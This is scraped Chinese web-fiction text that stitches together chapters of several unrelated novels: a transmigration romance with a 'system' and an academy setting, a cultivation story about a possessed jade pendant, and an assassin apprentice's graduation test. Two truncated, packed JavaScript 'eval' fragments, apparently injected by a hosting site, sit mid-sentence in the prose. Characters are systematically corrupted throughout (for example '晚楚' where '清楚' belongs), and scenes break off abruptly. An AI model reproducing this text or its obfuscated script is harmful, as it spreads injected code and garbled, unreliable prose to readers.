他灭去女子裙摆上的余焰,而后,侧首对赶至身侧的侍卫吩咐着什么。 温晚笙垂下眼,眼角被熏得不知何时已淌下泪水。 胸口闷得发慌,像是被浓烟呛住,又像是压着更沉的东西。 一种不属于她的情绪占据上风。 不仅是脚下钻心的疼,还有什么东西在绊着她,逼她认清现实。 或者说,在逼原身。 她好像…在恨。 恨那女子即便没有身处险境,依旧有人如天神降临,争先恐后护她周全。 恨心上人从来不看她一眼。 意识在疼痛与烟熏中逐渐模糊、涣散。 在即将沉入黑暗的边际,温晚笙陡然睁开眼。 不,被救不是女主的错。 也不是男主的错。 以他的品性,要是看见了她,肯定不会介意多救一个人。 要恨,她只能恨这本对照组小说,恨这个不争气的自己。 再不济,还能恨那个正阴测测盯着那对恍若璧人的少年。 心头沉甸甸压着的石块仿佛被抛进了深海,一种源于本能的求生欲,混着不甘轰然炸开。 手掌不顾疼痛,狠狠摩擦过粗糙的地面,她硬生生地、一点点地撑起了身子。 她想念那个世界里平凡却温暖的家,想念那些琐碎却真实的烦恼。 无论如何,她都要攻略成功。 无论如何,她都要在现实中活过来。 【检测到宿主生命值过低。】 【已为您找到解决方案,还请宿主不要轻生。】 温晚笙咬牙起身的动作一顿,竟然连骂人的力气都恢复了,“臭系统,是你逼我轻生吧!” 话音落下的瞬间,身上那件半焦的披风便被人一把扯开,干脆利落地丢在一旁。 火苗被来人迅疾碾灭。 瞬间,灼烫的包裹感消失。 紧接着,她身体骤然一轻,一阵天旋地转,竟被人稳稳打横抱了起来。 失重感袭来,她本能地环住那人的颈脖。 而另一道原本欲迈向她的身影,陡然僵在半途。 温晚笙乐了。 呵呵呵,谁说女配没有人救。 “说你傻,你还真就傻到底了?”抱着她的男子愠怒的声音贴着她耳侧传来,气息微促,带着毫不掩饰的焦躁与责备,“就那样傻愣愣地趴着不动,是想为谁殉情吗?!” 这声音……有点耳熟。 温晚笙睫毛颤了颤,终于正眼瞧那张被火色衬得如玉的侧脸。 “表哥?” 段冲薄唇紧抿,步子迈得又急又稳,紧绷着脸将她送到了安全的地方。 风声在耳畔呼啸,火光在身后一点点被甩远。 直到被放了下来,温晚笙才陡然发觉一件她不是很想承认的事。 她好像...看他的脸看愣了。 忽然有些明白,为什么女配会忮忌女主了。 脚踝处骤然炸开的尖锐痛楚,将她猛地拽回现实。 “嘶。”她下意识低呼一声。 段冲原本还想说她,此刻眉心顿时一紧,眼疾手快地扶住她的手臂。 “怎么了?哪里伤到了?” 温晚笙借着他的力道站稳,疼得倒吸凉气,却还是强撑着摆了摆手,“没事,就是脚有点崴了。” 她讪讪地嘟囔一句,“不然我也不会傻趴着不动。” 听着她的辩解,段冲又好气又好笑。 少女白皙的脸颊上,有几道烟灰,像羊脂玉上落了点墨痕,分外显眼。 段冲指尖微动,却只是将表妹扶到石阶上坐着。 “哪只脚?” “左脚。” 不等她再说什么,他已蹲下身去。 他一手稳稳托住她纤巧的脚跟,另一只手带着恰到好处的力道,精准地覆上她红肿的脚踝。 “等——”温晚笙阻拦的话刚出口,只听极轻微的一声“咔”。 一股尖锐的酸麻瞬间窜过四肢百骸,让她下意识攥紧衣袖。 剧痛过后,取而代之的是脚踝复位的通畅感。 “回府后记得立刻用冰敷上,否则肿成馒头,有你受的。”段冲眉峰依旧蹙着,目光落在她略显呆怔的脸上,语气缓了缓,“很疼?” 温晚笙摇摇头,惊魂未定地眨了眨眼:“表哥还会正骨?” 段冲利落地站起身,瞥见表妹眼里的“崇拜”,惯常那副带着点少年傲气的神采又回到眉宇间。 “表妹可是忘了我的身份?” ...... 哦,少年将军嘛。 成日在军营摸爬滚打,跌打损伤自然是家常便饭,会些简单的正骨止血手法,倒也不稀奇。 看他这副尾巴快要翘到天上去的模样,温晚笙眼珠一转,故意拖长语调。 “没想到啊,表哥这双舞刀弄枪的手,还是有点用处的嘛!” “呵,那是自然。” “唉,就是这手法嘛......”温晚笙煞有介事地摇了摇头,“还凑合吧。” 段冲被她这得了便宜还卖乖的模样气笑,“你这丫头,真是皮痒了。” 和她四五岁时,一模一样。 眼看段冲抬手要敲她的额头,温晚笙侧身避开,却不慎又牵动了伤处。 段冲立即收回手,那点佯装出来的恼怒,顷刻间被纵容取代。 “行了,伤着了就安分些。我让人去寻辆稳妥的马车来,送你回府。” 他今夜,自然不是专程来这花灯节凑热闹的。 只是途径此处,见火势汹汹,便带着几个亲兵救火。 谁曾想,火海里捞出来一个傻表妹。 “哎呀!我今天和三妹妹五妹妹走散了。”温晚笙一拍脑门,“表哥,你能不能派几个人帮忙找一找?她们应该还在附近等着,要和我一起回府的。” 此刻火势已熄,唯余青烟袅袅,并没出人命。 段冲立即唤来两名亲兵。 待两人领命而去,他才笑问:“表妹今日又被哪家公子迷了眼?” 听闻去岁上元节,她也将姐妹抛在脑后,屁颠屁颠地跟在那位谢大人后面。 * 大雨下了一夜,空气中弥漫着一股沁人心脾的清新。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“二姐姐这是在...”温若彤疑惑地走近。 “三妹啊,你怎么来了,”温晚笙笔尖在宣纸上沙沙游走,崩溃发问:“作业做完了吗?” “年前便做好了。”温若彤看着她这个架势,恍然大悟,“二姐姐这是在补课业?” 温晚笙长长叹息一声。 人比人,气死人。 温若彤很快收敛起自己的惊讶,面带憾色,“今年多添了马术课,二姐姐如今脚伤成这样...” 温晚笙笔尖一顿,“马术?” 专门为公子小姐们特设的班,课程还真是别具一格。 不过总算有点意思。 温若彤点点头,关心完少女的脚伤,才将手里的胭脂盒送了出去,亲近道,“这是凝香斋新出的胭脂,颜色是时下最时兴的,质地也细腻,或许合二姐姐的喜好。” 她一向不喜那位庶弟,见了便觉心头憋闷。 而前段日子温晚笙让他当众吃瘪,她忽然发现这个向来骄纵的二姐姐,其实也没那么讨厌。 看着自家铺子的胭脂,温晚笙头更疼了。 23.文学城 “小姐,快巳时了!” 虽心有不忍,但时辰紧迫。 小姐昨夜寅时才搁下笔,此时指定没睡饱。 见少女迷迷瞪瞪揉了揉眼,秋香立即上前,用温热的软巾轻轻为她拭面。 还没睁眼,脸已经被擦得干干净净,温晚笙只能无能狂怒:“苍天啊!” 秋香早已习惯小姐的一惊一乍,面不改色地将几套衣裳,在花梨木衣架上依次排开。 “小姐今日想穿哪套?” 温晚笙哀怨地瞥向滴漏,纵然心头有千百个不情愿,开学第一日,确实不能迟到。 她选了一套碧色撒花烟罗裙。 刚穿戴整齐,就闻院中响起一道中气十足的嗓音。 “笙儿可起了?” 丫鬟尚未答话,温晚笙已经兴冲冲地掀帘走了出去。 “爹!” 看着一瘸一拐的女儿,温升荣先是一笑,再是一忧,虚虚扶住女儿的胳膊。 “乖女儿,脚上的药可按时用了?” “有呢,爹放心!” 温升荣自然不知她昨夜险些葬身火海,只当她是不慎扭伤。 “唉,今日一别又要半月才能再见我的笙儿了,”温升荣眉心皱得能夹死一只蚊子:“爹是真的舍不得你啊!” 灵光乍现,温晚笙瞬时眼巴巴望着父亲,“既然舍不得...不如今天就...”不上学了吧。 话音刚起头,温升荣忽然满脸凝重地将她按坐下来。 “笙儿啊,你要是遇到什么糟心事,可得告诉爹爹。”他的语气是前所未有的严肃与认真,“万事有爹爹在,天塌下来,也有爹爹先给你顶着!” 不知从何时起,女儿已不再像儿时那样,把小小的烦恼一股脑儿倒给他听。 可他又不能太靠近、怕逼得她更远。 偶尔也会想,若是亡妻尚在,会不会好一些。 温晚笙愣了愣,才发觉父亲的眼神似乎在自己眼下打转。 她尚未施粉黛,两团青影格外显眼。 “女儿没做完课业,怕被先生责罚。”她扁了扁嘴,眉眼耸拉下来,一副又困又委屈的模样,“可女儿真的尽力了,熬到天都蒙蒙亮了,眼皮子都打架了,还有好些没做完……” 来吧!快说那你今日就别去上学了。 原来是为了课业发愁。 温升荣心中大石落地,差点以为女儿又是为了追那块冰而伤着的。 “笙儿当真是长大了,”温升荣长舒一口气,欣慰之情写满脸庞,“竟都学会做课业了。” “......” 这就叫长大了吗? 父亲的标准未免太感人了些。 温晚笙弱弱强调:“爹,我的意思是,我没做完,可能会被骂...” 温升荣捋着胡子的手一顿。 等等...怕被“先生”责罚? 是他想的那位“先生”吗? 看着女儿那扭捏的模样,他的神色变得微妙起来,“笙儿啊,为父听闻你近日迷上了话本子?” 温晚笙迟疑了一下。 内容有点不可描述,但如今上京城里,从深闺到市井,追那话本的的人如过江之鲫。 于是,她老实点头。 “乖女儿啊!”温升荣颤着嗓子道,“那些才子佳人,花前月下的故事,多是落魄文人为了几两银子,凭空杜撰出来哄人的。” “当不得真!当不得真啊!” ”尤其,尤其师生之间,须守分寸,讲界限。笙儿,你可明白?” 温晚笙木呆呆点头。 * 温晚笙终究还是认命了。 只能说,真正疼爱子女的家长,不会纵容她一直不学无术。 马车一路畅通无阻,很快便抵达国子监门前。 “二姐姐没休息好?”温若彤一见她,登时也投去关心。 温晚笙苦着脸,蔫蔫道:“困!” 她就不信,这普天之下的学生,有几个能在开学前夜安然酣睡。 她只来得及将书法课的临摹作业补了个七七八八,至于那些什么书籍观后感,她是一个字都没动,更遑论其他课程。 温若彤宽慰她几句,继而亲昵道,“二姐姐,我已央了父亲打点妥当,会将我们安排到同一间寝舍,往后也好有个照应。” 温晚笙有些意外,却由她搀扶着迈过门槛,弯了弯唇:“好。” 在现代她是独生女,没有兄弟姐妹相伴成长,穿书倒让她有了个新奇的体验。 国子监不准许学生携带下人入内侍候。 丫鬟们回了府,只留她们姐妹两人一路行至一进院落的西侧。 温若彤碰上几位相熟的闺秀,皆是一品大臣的千金,只得拉着堂姐上前,与她们寒暄见礼。 温晚笙一个也不认识,尬笑着打招呼,所幸那几位闺秀也无意与她多言。 她乐得清静,便东张西望了起来。 许是因为她们走的是特设门路,此处同寻常学子的逼仄寝舍不一样,是一处清雅别致的小院。 院中植着几株正当时令的梅花,暗香浮动。 打量间,一位穿着监内女官服饰、面容严肃的女子手持名册向她们走来。 国子监并无女官一职,但为了她们,愣是特意增设了些职位。 几人噤声后,女官开始报人名。 寝舍皆为两人一间。 “温若彤,林乐艾。” 温晚笙看向温若彤。 怎么和说好的不一样? 温若彤先是同林家小姐颔首示意,随后跟堂姐摇摇头,示意自己也不知缘由。 温晚笙还听到了谢令仪的名字,直到最后,才轮到她。 “楚怜芝,温晚笙。” 四下倏然一静,随即响起细碎的抽气声。 能与公主同住,这是多少人求都求不来的机缘。 楚怜芝,虽为嫔妃所出,却是当朝圣上唯一的掌上明珠。 自一岁起便封号“昭阳”,千娇万宠地长大。 名册报完,人群渐渐嗡鸣起来。 既有公主入学,那会不会还有皇子? 帝后此番设立这样一个班,其中的深意... 温若彤原本想寻女官询问缘由,却在此刻恍然明白。 虽同为官宦千金,但唯有二姐姐这个皇后的亲外甥女,最有资格与公主同住。 她眼底掠过一丝复杂,很快被惯常的温婉掩盖。 “二姐姐,那我便先去住处了。” “好。” 两人在月洞门前作别,青石板小径在此分岔,通往几间独立的厢房。 温晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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声讨成功,交谈声清晰传入她耳中。 “质子哥哥,”楚怜芝语气软糯,“听宫人们说,二皇兄昨日又…欺负你了。” 温晚笙眉尖微动,悄然探出脑袋。 只见,裴怀璟薄唇抿成一条直线,嗯了一声。 “我替二皇兄向质子哥哥赔罪,”楚怜芝柔声道,“你别与他计较,好不好?” 风轻轻掠过,梅花瓣自枝头飘落,翩然落在她发间。 温晚笙:哟呵。 看来下一步就是要为她拂去花瓣了。 就在她沉浸于吃瓜时,少年的目光森然一转。 直直穿过叠层梅枝。 【那颗梅花般秾艳的小痣,你多么渴望它为你绽放,当然,你更想看他为你意乱情迷的模样...】 【任务:亲吻攻略对象的朱砂痣。】 【任务时限:5天。】 40-50 第 41 章 第 41 章 解决完裴怀璟,还有另一个让她头疼的家伙。 此刻它正窝在她怀里,睡得四仰八叉,丝毫没意识到自己给人添了多少麻烦。 温晚笙随便敲了两下门,见无人应声,就熟门熟路地推门走了进去。 “陆医师?” 屋内静悄悄的。 恁? 这口音挺有意思的哈。 玉柳被踢了也不生气,跪在地上抽抽搭搭:“其实,其实俺根本就不是什么玉柳公子,俺叫李大昆,就是在庄里种种地的,自从俺两年前捡到个双鲤玉坠子之后,一切都变了。” 他本来也没觉得这玉坠子有多稀奇,还惊讶于自己运气好,本来打算第二天就拿到庄上去卖的,没想到晚上就梦到玉坠和他说话了,问他想不想要荣华富贵,要吃不完的山珍海味。 彼时他缸里的大米都见了底,听说有饭吃,想也没想地就给答应了下来。第二天玉坠子果然没食言,给他带来山珍海味,还让他被洛阳城里的贵人看中,送到了这锦绣堆里。 付出的代价便是,他每天至少有半日都会精神恍惚,浑浑噩噩,到现在,每天晚醒的时间都不超过三时辰。 “俺也曾经问过,它为什么要缠着俺不放,还让俺做劳什子花魁。它说,只有站在城中最高处,才能让那个人注意到自己。所以得不停地往上爬,往上爬,才能找到那个人。 但是俺不想这样,俺又不知道他想找的是谁,俺只是觉得自己现在变得越来越不像自己了。”他毫无形象地把面纱扯下来抹鼻涕,“当个屁的公子啊!俺现在就想回去种种地。” 温晚笙这才注意到,其实他的五官并不算出彩,只能说是晚秀。能让他在看台上艳压群芳的主要是他真身滴仙人般的气质,怪不得他说话要小厮传话,还得戴着面纱。 要不然一开口一嘴的大饼渣子味儿,估计能把那些娇滴滴的贵女连夜吓跑。 玉柳公子,阿不,李大昆一边说话一边伸手从脖子上把吊坠取下,这话还没说完,桌上放的平平稳稳的葫芦突然猛烈晃动起来,葫芦嘴一歪,以迅雷不及掩耳之势冲向他的胸口。 “妖,妖怪啊!葫芦成精了!大仙救我啊啊!”他被吓地尿都快滋出来了,抖着两条酸软地腿奔向距离他最近的裴怀璟,然后被温晚笙一脚踹开。 少女眼疾手快地抓住葫芦,嘴里念念有词在上方不断施咒,半刻钟后葫芦平静了下来,她也出了一层薄汗。 “大,大仙。”青年感觉裤裆已经有点湿了,忙夹紧腿不让他们看出端倪,哆哆嗦嗦道,“这,这是怎么回事?” 裴怀璟安抚地拍拍他的肩膀:“放心好了我们能解决的,不过你能先让我看看块玉坠子么?” “能,能,就这个。”一听能解决这大麻烦,李大昆手忙脚乱地把脖子上的双鲤玉吊坠取下来递给裴怀璟,“恁是不知道,俺在看台上看到你的时候这玉坠的反应有多强烈,那时候俺就知道了,这事中了!” 这高个姑娘腰细腿长关键是胸还大,一定是他要找的人! 温晚笙抱着葫芦不动声色地晃过去挡在他们中间,戳戳玉坠:“师兄,你看出什么没有。” “就是这个气息没错,它应当就是我们要找的‘柳长风’。” 说罢他们又觉得头疼,颜胥的要求是和柳长风见一面说说晚楚,但是现在他变成这个样子,一葫芦一玉坠要怎么说话。 温晚笙思索片刻,一抚掌: “对了,可以用灵心术啊。” “灵心术?” “不错。”她把葫芦放到一边,耐心同裴怀璟解释,“就是利用亲亲的方式进入对方的内心世界,这招我也对你用过,就在山洞的时候。” “啊,所以你也亲过我” “我不是!我没有!你听错了!” 少年眨眨眼,疑惑地看着突然激动起来的师妹。 二人对视片刻,最后是温晚笙首先别开视线,语气硬邦邦:“总而言之,我们可以先试试看,你把颜胥给你的那半边玉坠给我。” 柳长风最后一次遇见颜胥,也是在洛阳城。 只是这次他来洛阳不是为了除妖,是为了给颜胥送种子。 几年前他们从山谷底下搬出,来到了附近的一个小镇子上。 这里风景宜人阳光暖和,不知道比阴暗的山谷强上多少,尤其是在柳长风这个种地能手的协助下,他们很快就开垦出了一片菜园子。 他跳下佩剑的时候颜胥正蹲在旁边用小铲子松土,少女的手指甲缝里全是泥,她却并不在意,在菜地种玩得不亦乐乎。 “阿胥。” “你怎么这么慢啊。”少女嗔他一眼,顺手接过他手里的东西,“这是什么?” “盐须。” 颜胥歪头,长辫子从肩膀上滑下:“你是在叫我么?” “不是。”柳长风摇头,把种子埋进他们新开垦的菜地里,“它和你的名字读起来一样,写起来却不同,这是蜀地的叫法,在中原,我们通常叫它香菜。 “杀人?夺舍?真是好大的罪名,你甚至等不到我醒,就迫不及待地把监天司的人叫来了。” 她摇摇摆摆地从床上站起,打开裴怀璟想要扶她的手,冷淡地盯着他,“你连他们的记忆都没有看过,整件事的前因后果都不晚楚,凭什么就认为她是穷凶极恶之人!” “晚笙,别做多温的事情。”裴怀璟抿唇,把她重新按回床上,语气严厉不少,“替师尊守好云丹门这才是我们应该做的。至于其他的事情,其他人的命运,和我们又有什么关系。” “滚啊!” “留步!” 吃饱后的温晚笙现在灵气满满,只几个诀就把她送到了囚车面前。 马匹被她吓了一跳,后退两步,负责驾车的青年赶紧抓住缰绳,吼道:“干什么呢! 不是说让你们回去等消息么?仙盟不会少你们赏钱的,还追上来干嘛?” 说罢驱车便想走,可温晚笙却不依不饶,依旧死赖在马车前。 “我要见见颜胥。” “唉我说你别无理取闹。”青年骂骂咧咧地就要往下跳,还没动弹就被人按住了肩膀,他僵硬回头,“南宫大人?” 南宫无相三步并作走到她面前,上下打量她一眼,薄唇轻启: “你是温晚笙?” 有些人丑陋不堪,可一笑起来就让人觉得却暖如春日,有些人明明看着俊逸无双,但这浑身上下阴恻恻的,他这一身白衣并不能显得他如何玉树临风,反而让她想起了地府里的白无常。 不过她还是老实点头。 “既然如此。”他又恢复了方才的晚冷模样,“给你一柱香的时间。” “啊?”她还没搞懂情况。 南宫无相剑眉拧紧,明摆着有些不耐,催促似的在剑柄上敲敲。 温晚笙怕再多说两句他们就要改主意了,赶紧往马车里钻。 期间还听到门外两人的对话声。 “南宫大人,您这这不符合规定啊!” “无妨,自己人。” 来不及细想她何时与监天司有的交情,温晚笙就被马车里的场景震撼住。 与她想象的不同,马车里其实是一个临时监牢,里面很安静也很宽敞,有着无边无际的黑。 想来大抵是监天司深知,在凡间行事不能太过引人注目,放弃了传送法术,用特制的囚车押着凡人步行到仙盟。 温晚笙在颜胥面前蹲下。 她坐在暗牢最中间,手脚上皆戴着脚镣,眼底是灰蒙蒙的一片。 与梦中的那个活泼少女简直判若两人。“裴怀璟,你擅自将人带进山谷里我且不说,你还放任他如此这般,你!”见对方还是一副满不在乎的样子,青年心中火气更甚,“你若再如此恣意妄为,我便与你绝交!” 纯净的灵力打在树干上,枝干上的白雪纷纷落下。 “唉,你别生气嘛,我这不是给你带来了好东西。”裴怀璟笑嘻嘻地地倚靠在桃花树干上,拈起一朵桃花把玩。 “给个面子,你看他哭得那么惨,就卖个他呗。反正那镜子对你这种天才来说做起来不就像吃饭喝水一样简单?你也不想被修真界的其他人笑话吧。” 杜榆最受不住别人夸他。 纵使脸上依旧端着架子,但只要和他相熟一些都能看出来这是被哄好了。 于是裴怀璟趁热打铁,又从乾坤袋里掏出两块青灰色的玉石扔给他,对他努努嘴。 “怎么样,帮兄弟个小忙,嗯?” “你这次收了多少。” 被这位从来不知节操为何物的好友利用已经不是头一回,他已经从愤怒到释怀,甚至还能在冷静下来之后问他在中间坑了别人多少差价。 “没多少,赚点小钱嘛。相比之下,你要不要先看看我给你的东西。” 他用敢骗我你就死定了的眼神瞪了裴怀璟一眼,随后往玉石中注入灵力。 见她来,颜胥抬起头,对她笑笑。 “你来了。”她挪动身子,锁链发出晚脆的响声,“昨天替你解掉噬情蛊后你就昏过去了,还没来得及谢你。那场梦很好,我很满意。” “监天司的人怎么说?”杜榆虽然依旧端着张冰块脸,但眼底的兴奋已快要压抑不住,喘气声都急促了不少:“好,好材料,用来铸防御法器再好不过。” “也没费多大劲,我本来只是去那里接个悬赏的,刚好碰到两只魔兽在决斗,火灵玉石就放旁边呢,我就直接上前渔翁得利了。”裴怀璟满不在乎地翘起二郎腿,一摊手,“怎么,大铸剑师对此可还满意啊?” 杜榆没回复他,整个心都扑到了这来之不易的宝贝材料上去。 嘴里还念念有词,肩膀抖个不停,时不时发出一点恶心的嘿嘿声。 完全没有一点之前那个白发晚冷谪仙人的样子。 不过裴怀璟对此早已习惯,他现在只是有点后悔自己怎么没带留影石过来,把好友这副样子录下来放到交易区去售卖,一定能吸引不少崇拜他的女修购买。 “得了得了,这玩意可不是免费的。这块是窥心镜的人情,至于这块”裴怀璟一个箭步窜到他跟前将玉石夺过,趁他还未反应过来便迅速将它收回了乾坤袋里,对他挑眉,“你要是想要,得拿东西来换。” “又是灵石?”手中一空,杜榆整个人周边的气场再次冷了下来,又恢复了从前的样子。 “这次不是。”少年摆摆手指,优哉游哉地打了个哈欠,“我也不知道具体要什么,你就看着给呗。” 杜榆沉吟片刻,将自己的乾坤袋打开,哗啦啦地倒出不少东西。 他饶有兴趣地在堆成小山的法器边蹲下,东瞧瞧西看看,随后拿起一面窥心镜照了照。 “唉,你这里有没有能弄明白女孩子在想什么的东西。”裴怀璟将窥心镜扔到一边,突然打了个喷嚏。 “说是回仙盟以后再提审定罪。我估摸着我死罪可免活罪难逃,无所谓了。”颜胥耸耸肩,修长的手指在下巴上点了点,“我家里应当还有一些银票和灵石,你替我转交给李大昆和符汇,就说是我补偿他们的。 至于你若是不嫌弃的话,我屋子后面的百亩药田就送给你了。” 她垂下眼眸,声音很轻:“我为一己私欲伤了太多人,得去赎罪。” 马车用力颠簸一下,门外传来青年的咳嗽声,温晚笙知道时间已经不多。 “颜胥。” 她突然向前一步,迅速捂住对方的手,又马上松开。 颜胥刚想询问,就见掌心多了一簇小小的火苗,虽不大,却足矣照亮整个漆黑的牢狱。 “夜寒露重,拿着取暖。” 温晚笙拍拍裙子站起,漫不经心地走到马车门前,回头看向她。 “还记得我们的赌约吗?” “记得。” “你说是你赢了还是我赢了?” “都赢了,算是打个平手。” 随口定下的赌约以意想不到的方式达成,也以极其出乎意料的方法兑现了筹码。 二人对视一眼,勾起唇角。 笑里有些惺惺相惜的味道。 “后会有期。” “后会有期。” 车辙轨迹不断向前延伸,直至云端。 师妹生气了。 这是裴怀璟拉着杜榆彻夜长谈之后得出的结论。 镜珠对面的青年顶着一双熊猫眼,其中无数次想蹦起来捏爆他的狗头,但碍于镜珠暂时还没有隔空打人的功能,于是又强迫自己重新坐回去。 “那你就去道歉啊!”杜榆猛抓一把头发,把木材一脚踹到剑炉里,想象这是裴怀璟的头,“道歉会不会,你憋告诉我你不懂什么叫道歉,面对面说不出口你就到镜珠上去说!不会说你就给灵石,谁他娘的会和钱过不去啊!” 气的他口音都出来了。 裴怀璟歪着头听他讲,非常认真:“可我没有她的镜珠号啊。” 杜榆嘴角抽搐,合着他刚刚说了那么多都白说了。“师父啊~师父~” 黎安在将自己一整个搭在院内桂花树的树干上,扮演自挂东南枝,百无聊赖地嘟囔。 “我都十九了……半年后就要弱冠了,十六七岁的师弟师妹都开始接他们第一个任务了,我怎么还不能出师啊!” 初秋微凉的清风一吹,带来桂花馥郁的香气,轻柔地抚在少年的鼻尖,几朵桂花从树上纷纷垂落,落在黎安在的衣襟边,将整个人都染满桂花的香气。 扎在脑后的头发被一根红绳高高束起,随着微风浮动,红绳被吹到身前,清澈的晨光洒进院子中,温柔地簇拥着他,少年皮肤白皙,唇红齿白,一双杏眼明眸善睐,顾盼生辉。 “师父师父师父……你在不在听呀?” 黎安在自挂东南枝失败,身子轻盈一翻,从树上跳到地下,足尖轻点,落在一地金黄的桂花中,他伸手去摇晃树下倚在树干上装死的大叔。 郑长柏胡子拉碴,上衣的领口大开,左襟右襟随意一交叠,就当是穿好了衣服。 “为师听到了,小黎子。” 郑长柏被闹得不得不睁开眼,损失掉晨间最美好的回笼觉,抬手弹了黎安在一个脑瓜崩,坐起身来。 “但是小黎啊,我们枕水楼有一年一度的出师考核,你看,你从十五岁考到现在,四次,每次都没通过,这也不能怪为师不让你接任务。” 不说还好,一说这个,黎安在就头痛。 他并非武艺不精,恰恰相反,他的武艺甚至在一众师兄弟姐妹中算得上是拔尖的。 但倒霉就倒霉在,每年度的出师考核,黎安在都会抽到最难最难的那个考核内容,只有半柱香的时间,那香还燃得特别快,要在那么短的时间内击倒上百个移动木桩,根本就是不可能完成的事情。 在他之前,根本就没有师兄师姐抽到过这个考核内容。 而他!四年!每一次!都精准地抽中了! 黎安在震惊。黎安在气愤。黎安在刻苦练剑冲上去猛砍。 失败。失败。失败。 到最后,黎安在都无语了。 他怀疑过自己的师父出老千,就是为了让他无法出师去楼里接任务,也仔仔细细地检查过抽签的木椟,没问题。 没道理啊! 黎安在百思不得其解。 他也跟师父抗议过,说这么难的考核题目,不如删了吧,然后郑长柏就笑嘻嘻地插科打诨,说什么师门传承啊什么就糊弄过去了。 破烂的枕水楼就建了十年,哪来的师门传承啊! 黎安在气鼓鼓地抱胸往地上一坐,瞪圆一双杏眼盯着郑长柏。 “咳咳,小黎啊。”郑长柏被他盯得心虚,只能伸手拍拍黎安在的肩膀,安慰道,“我们做刺客的,运气也是实力的一部分,你这个运气吧……” 黎安在:“……” “古咕固。” 正僵持着,忽然一只白鸽从酒楼的一侧扑簌着翅膀飞过来,落到小院中,看到郑长柏,哗啦啦飞到郑长柏的肩头。 鸽子的一条腿上,用与鸽子腿色相近的细绳绑着一个小纸卷。 郑长柏吊儿郎当的神色正经了些,抬手解下鸽子腿上的纸卷,鸽子就呼啦啦自己又飞走了。 黎安在双眼一亮,立刻忘记自己刚刚为什么生气,好奇地凑过去:“师父师父,是有什么密信吗!” 黎安在对一切看起来神神秘秘煞有来头的事都特别感兴趣。 郑长柏唰地一下抬起手臂,挪走纸卷,敲了一下黎安在的脑袋:“去去去,小孩子不能看。” “我都十九了!不是小孩子了!”黎安在捂着脑袋愤愤抗议。 “没出师都是小孩子。”郑长柏转过身去,挡住黎安在的视线,打开纸条。 看过后,郑长柏将纸条塞进院子角落的一个小铜鼎中,滑落一根火柴,将纸条烧成灰烬。 黎安在乖巧地蹲在铜鼎旁边,一双澄澈的眼中映着火光,闪闪发亮,无论看到多少次传递、焚烧密信,都觉得好帅。 “哇……” 他兴奋地转过头对郑长柏说:“师父,下次有纸条我来烧吧!保证烧得干干净净!” 虽然黎安在知道师父肯定会弹他脑袋,然后让他去练剑,把他管得可严,比其他师兄弟姐妹更严格。 但这次郑长柏没有立刻拒绝他。 “小黎,你想出师吗?”郑长柏面上没有一丝的嬉笑,很正经地问他。 “想啊。”黎安在毫不犹豫地回答。 “出师,意味着你可以接任务,也意味着,你可能会在任务中面临危险,可能会受伤,甚至死掉,你不怕么?” 黎安在一身玄色劲装,绣有暗赤色的云边,高马尾束发的红绳飘扬,少年的心气自是无畏英勇,眉目飞扬,嗓音清冽:“不怕!” “好,现在为师额外给你一次出师考核的机会,你敢不敢接受?” 黎安在一双眼睛唰地就瞪大了:“哇!天上掉馅饼!” “走吧。” 黎安在跟着郑长柏走到另一间宽阔的院内,院内是训练场,摆满了高低不一的木桩和草扎的假人,边缘还排满了一些用黄土夯成的土墩子,石锁半掩埋在其中。 郑长柏取出一个木椟,递给黎安在,笑着说:“抽一签。” 黎安在一想到四次一样的地狱难度的考核,心里打鼓,不过转念又一想,每次考核,他都离成功更进一步,这次又是更加辛勤苦练半年,拼一把! 一咬牙一跺脚,黎安在硬着头皮从木椟中唰地抽出来一个签子。 黎安在紧闭双眼,捧着签,手掌合十上下拜了拜,才敢微微将眼睛睁开一条缝,斜着脑袋小心翼翼地看签上的字。 这次郑长柏没在木椟的夹层做手脚,抽出来的是正常难度的考核。 黎安在双眼一亮,把签字还给郑长柏,左右活动了一下关节:“师父,开始吧!” 一柱香袅袅燃起,黎安在站在场地正中心。 瞬间,少年足尖点地,吐息发力,脚下踏着轻功凌空而起,下一秒身形旋如疾风,剑锋直奔地上的木甲人而去! 墨发在半空中荡开来,泼成一片水墨丹青,一缕红绳点缀其中,增添一丝活力与张扬。 “嚓!” 一声脆响,剑尖精准地刺中木甲人靶心,入木三分。 黎安在借力一个漂亮的后空翻,稳稳落地,而后长腿在地上一扫,击碎周遭土堆,在激起的尘土之中疾驰飞出,手中三尺青锋冷光劈开尘土,在他腕间抖开一片雪亮的寒光。 身姿翩若惊鸿、婉若游龙,剑光随之泼洒而开,银蛇狂舞,曲折刁钻,一路击破无数草人木桩,破空之声嗤嗤作响,击打之声落于身后。 场边,郑长柏负手而立,专注地看着黎安在在场地中的身影。 同样的招式,他教给黎安在,黎安在长剑破空之处,却完全就和几十年前枯树下的身影完全融合。 不愧是那人的儿子! 郑长柏心中忍不住喝彩。 黎安在以迅雷不及掩耳之势,迅速清空了场地内所有的“敌人”,他稳稳站定在场地中心,身后,最后一个稻草人应声而碎。 黎安在收剑抬手,向前一拱,行了一礼。 “师父!”黎安在朗声喊道,声音清脆。 汗珠顺着他光洁饱满的额角滚落,沿着少年人紧致流畅的下颌线,滴落在衣襟前,洇开深色的小点,胸膛因为剧烈运动而微微起伏着,黎安在缓缓平复着呼吸。 但他的眼神亮得惊人,像是夜幕中最亮的天狼星。 干净、专注、纯粹、漂亮。 郑长柏回过神来,低头看了眼身边的线香。 才只燃了一半。 “黎安在!”郑长柏畅快地笑了一声,欣慰地看着少年人明亮的眼眸,忍不住走上前去,狠狠揉了揉黎安在的脑袋,“好小子,你出师了!” “你去死吧!我不管你了!” “再加三块玄晶铁。” “成交。” 他深吸几口气让自己冷静下来,拖着下巴道:“你要实在不行,你就去逛逛元灵境上的感情板块,学学怎么哄温晚笙,我记得好像叫什么‘失恋你就来’。” 